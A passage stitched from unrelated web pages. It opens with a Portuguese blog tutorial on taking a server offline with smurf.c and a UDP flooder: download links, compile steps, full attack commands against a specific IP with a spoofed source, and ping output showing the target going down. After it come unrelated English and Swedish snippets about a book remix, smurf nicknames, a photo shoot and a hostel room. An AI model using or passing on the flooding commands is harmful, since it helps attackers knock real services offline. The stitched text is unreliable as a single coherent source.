Um Broadcast.txt (Uma lista com centenas de Ips) Abaixo está o link de uma lista de ips como exemplo.
http://www.4shared.com/file/118011308/b … dcast.html

Precisamos do programa smurf.c
http://www.4shared.com/file/118010956/9 … smurf.html

Udp_flooder.c
http://www.4shared.com/file/118010966/b … ooder.html

AGORA QUE JÁ TEMOS AS FERRAMENTAS PARA ATAQUE, agora o que temos que fazer é o ataque.
Depois de baixar as ferramentas nós temos que compila-las.
Compilando o smurf.c:
# sudo gcc smurf.c -o smurf
#
OBS: Isso é um tutorial feito com linux, porem si quiser usar windows, é sem problemas. Basta você compilar o programa usando o próprio c++.
Compilando o udp_flooder.c:
# sudo gcc udp_flooder.c -o udp_flooder
#

OBS: Para continuar daqui pra frente você precisa se tornar root.

Executando o smurf:
# ./smurf

usage: ./smurf <alvo> <list_ips> <numero de  packets> <packet delay> <packet tamanho>

target = endereço para atacar(ALVO)
bcast file = arquivo com os endereços de broadcast(lista de ips)
num packets = número de pacotes para enviar (0 = flood)
packet delay = espera entre cada pacote (em ms)
packet size = tamanho do pacote (<102)

O comando que irei utilizar para atacar sera este abaixo:
# ./smurf 200.140.161.201 broadcast.txt 0 0 1024

|=====================================|
| Atacando o alvo |
|=====================================|

Antes de atacar o alvo, eu vou dar um “Ping” para ver se ele esta “ON”:

# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201) 56(84) bytes of data.
64 bytes from 200.140.161.201: icmp_seq=1 ttl=57 time=123 ms
64 bytes from 200.140.161.201: icmp_seq=2 ttl=57 time=102 ms
64 bytes from 200.140.161.201: icmp_seq=3 ttl=57 time=111 ms
64 bytes from 200.140.161.201: icmp_seq=4 ttl=57 time=101 ms
64 bytes from 200.140.161.201: icmp_seq=5 ttl=57 time=108 ms
64 bytes from 200.140.161.201: icmp_seq=6 ttl=57 time=102 ms
^C
— 200.140.161.201 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5006ms

Esta “ON”, agora vou executar o comando para atacar:

# ./smurf 200.140.161.201 broadcast.txt 0 0 1024

smurf.c v4.0 by TFreak

Flooding 200.140.161.201 (. = 25 outgoing packets)
……………………………………………………………………………………………………………………
……………………………………………………………………………………………………………………
……………………………………………………………………………………………………………………
……………………………………………………………………………………………………………………

Depois de alguns minutos, vamos pingar o alvo novamente para ver se ele continua “ON”:

# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201) 56(84) bytes of data.
64 bytes from 200.140.161.201: icmp_seq=1 ttl=57 time=120 ms
64 bytes from 200.140.161.201: icmp_seq=2 ttl=57 time=114 ms
64 bytes from 200.140.161.201: icmp_seq=3 ttl=57 time=104 ms
64 bytes from 200.140.161.201: icmp_seq=4 ttl=57 time=114 ms
64 bytes from 200.140.161.201: icmp_seq=5 ttl=57 time=103 ms

— 200.140.161.201 ping statistics —
28 packets transmitted, 5 received, 82% packet loss, time 27086ms

# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201) 56(84) bytes of data.

— 200.140.161.201 ping statistics —
5 packets transmitted, 0 received, 100% packet loss, time 3999ms

Pronto, o alvo esta “OFF”.

(DICA: quanto maior a lista de “broadcast” mais eficiente sera o seu ataque.
_________________________________________________________________
Agora vamos utilizar o udp_flooder.

Para executa-lo:
# ./udp_flooder

[=] + ===========[####]============ + [=]
*** Emperial Flooder[UDP] ***
XxX VIPER CORP GROUP XxX
<-> Underground Max <->
[=] + ==========[####]============ + [=]

Uso: ./udp_flooder <IP_Spoof> <Vitima> <Port_origem> <Port_Destino> <msg> <num_msgs>

O comando que irei utilizar para atacar sera este abaixo:
./udp_flooder 201.167.3.157 200.140.161.201 80 8090 DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD 1000000

Obs: Para que você obtenha bons resultados, este comando precisara ser executado varias vezes consecutivas

Vamos “pingar” o host alvo:

# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201) 56(84) bytes of data.
64 bytes from 200.140.161.201: icmp_seq=1 ttl=57 time=111 ms
64 bytes from 200.140.161.201: icmp_seq=2 ttl=57 time=130 ms
64 bytes from 200.140.161.201: icmp_seq=3 ttl=57 time=118 ms
64 bytes from 200.140.161.201: icmp_seq=4 ttl=57 time=126 ms
64 bytes from 200.140.161.201: icmp_seq=5 ttl=57 time=105 ms
64 bytes from 200.140.161.201: icmp_seq=6 ttl=57 time=129 ms

— 200.140.161.201 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5008ms

Agora vamos atacar:
# ./udp_flooder 201.167.3.157 200.140.161.201 80 8090 DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD 1000000

— Estatisticas e infos do ataque ————-

Total de bytes enviados: [31000000]
—————————————-

Depois de executar o comando varias vezes consecutivas, vamos ver o resultado:

# ping 200.140.161.201
PING 200.140.161.201 (200.140.161.201) 56(84) bytes of data.

— 200.140.161.201 ping statistics —
15 packets transmitted, 0 received, 100% packet loss, time 14112ms

Como podem ver o alvo ficou “OFF”.

Em caso de duvidas pergunte para mim aqui no blog que eu responderei.
O autor original deste tutorial foi o: Dreamexplo

~bye~ Juancarloscunha

Okay, I should have posted about this a long time ago, but I didn’t. But I still will, anyway, because it’s so good. It’s Scrotal Cash, the featherproof books collection of remixes of Blake Butler’s crazy-excellent, highly reviewed book, Scorch Atlas. Basically, amazing writers deconstructed, reconstructed, unconstructed and co-destructed the original work into things altogether else, things  innovative, harrowing, beautiful, incredible.

The authors included entered a contest judged by Blake Butler, and they are Matt Bell, Andrew Borgstrom, Jon Cone, Elizabeth Ellen, Brian Evenson, Christopher Higgs, Catherine Lacey, John Madera, Matthew Simmons, J.A. Tyler, and Marcus Whale– and that’s not even including the winner, Krammer Abrahams, whose story brilliantly twists the apocalyptics of Scorch Atlas inside out and applies them to interfamilial dynamics– one family, complete with pets and spare parents, is the atlas, and the devastation is absurd and appalling.

Anyway, it can be downloaded for free from featherproof books, but schemes are afoot to produce and sell limited edition hard copies.  Blake Butler is working to put together some copies for interested parties, and Krammer Abrahams might like to hand-deliver you his own handmade copy, for just $100. If you live in the continental United States, and if there are 10 of you.

Happy Columbus Day!

Konversation från igår mellan mig och sambon:

Jag: – Hej på dig min lille smurf….

Sambon:  -Hej på dig min lilla Gargamel..

Jag skrattar gott och misstänker att älsklingen min inte gillar sitt nya smeknamn. Jag tycker dock att det är urgulligt.

Några timmar senare:

Jag: -Hej min lille smurf…

Sambon: Hej min lilla Jabba The Hut…

Jag skrattar fortfarande och fattar att min sambo ej vill bli kallad för smurf…jag hoppas att jag åtminstonde kan få vara en kvinnlig variant av Jabba The Hut…typ Slobba the slut!?

En söt smurf

Gargamel

En kvinnlig jabba the hut

Soca and Evey had their first professional photo shoot in their studio which also doubles as Evey’s parent’s bathroom. Evey was wearing a smurf colored tutu, with a matching colored shirt, and little blue beanie baby bird pinned to her sleeve. Soca was in her yellow and black tutu, with pirate socks and a stuffed animal snake wrapped around her neck. They risked their lives in the name of art, mixing electricity and water. From the shower with Christmas lights, they got inspired and decided to hit the streets in search of more light and water. They passed by a Target and ran inside to take a cart ride through the toy aisles. Soca used her slacklining skills to walk on the thin rail enclosing the returned shopping carts, while Evey jumped in a basket and rolled down a hill in the parking lot. Driving past the Veterans Memorial Building, they caught glimpse of the giant stainless steel Filmstrips surrounded by beautiful teal lights and water in a fountain. Soca did a harsh U-turn, they found a parking spot, kicked off their shoes and ran through Beatles and swarms of ants, and jumped into the fountain. They felt it necessary to wrap up the night at Yogurt Land with their sopping wet clothes.

These are rooms 14 and 15 of the City Seattle Hostel in Belltown. The first room here was done by two artists, Davin and PGee. PGee did the actual room while Davin did the 80’s pop culture bathroom with such favorites as Smurf, Spy vs. Spy, and Kiss. The next room was done by Kyle Lunneborg. I couldn’t get too many good pictures of the room but if you want to see more you can watch this video put up by Upper Playground.

Även om smurfarna bor i en medeltida by så ska ni inte tro att de är teknikfientliga, det finns hör och häpna även en mobiltelefonsmurf.

Nu vet jag inte vilken operatör som har/hade täckning på medeltiden, men skulle gissa att han inte använder genomusla tre, de har inte ens täckning i min lägenhet och då bor jag i Stockholm.

Lite kul är att mobiltelefonsmurfen kör med en klassisk motorola, tycker dock motorola är lite snåla, visst skulle de kunna sponsa honom med en nyare modell?

Mobiltelefonsmurfen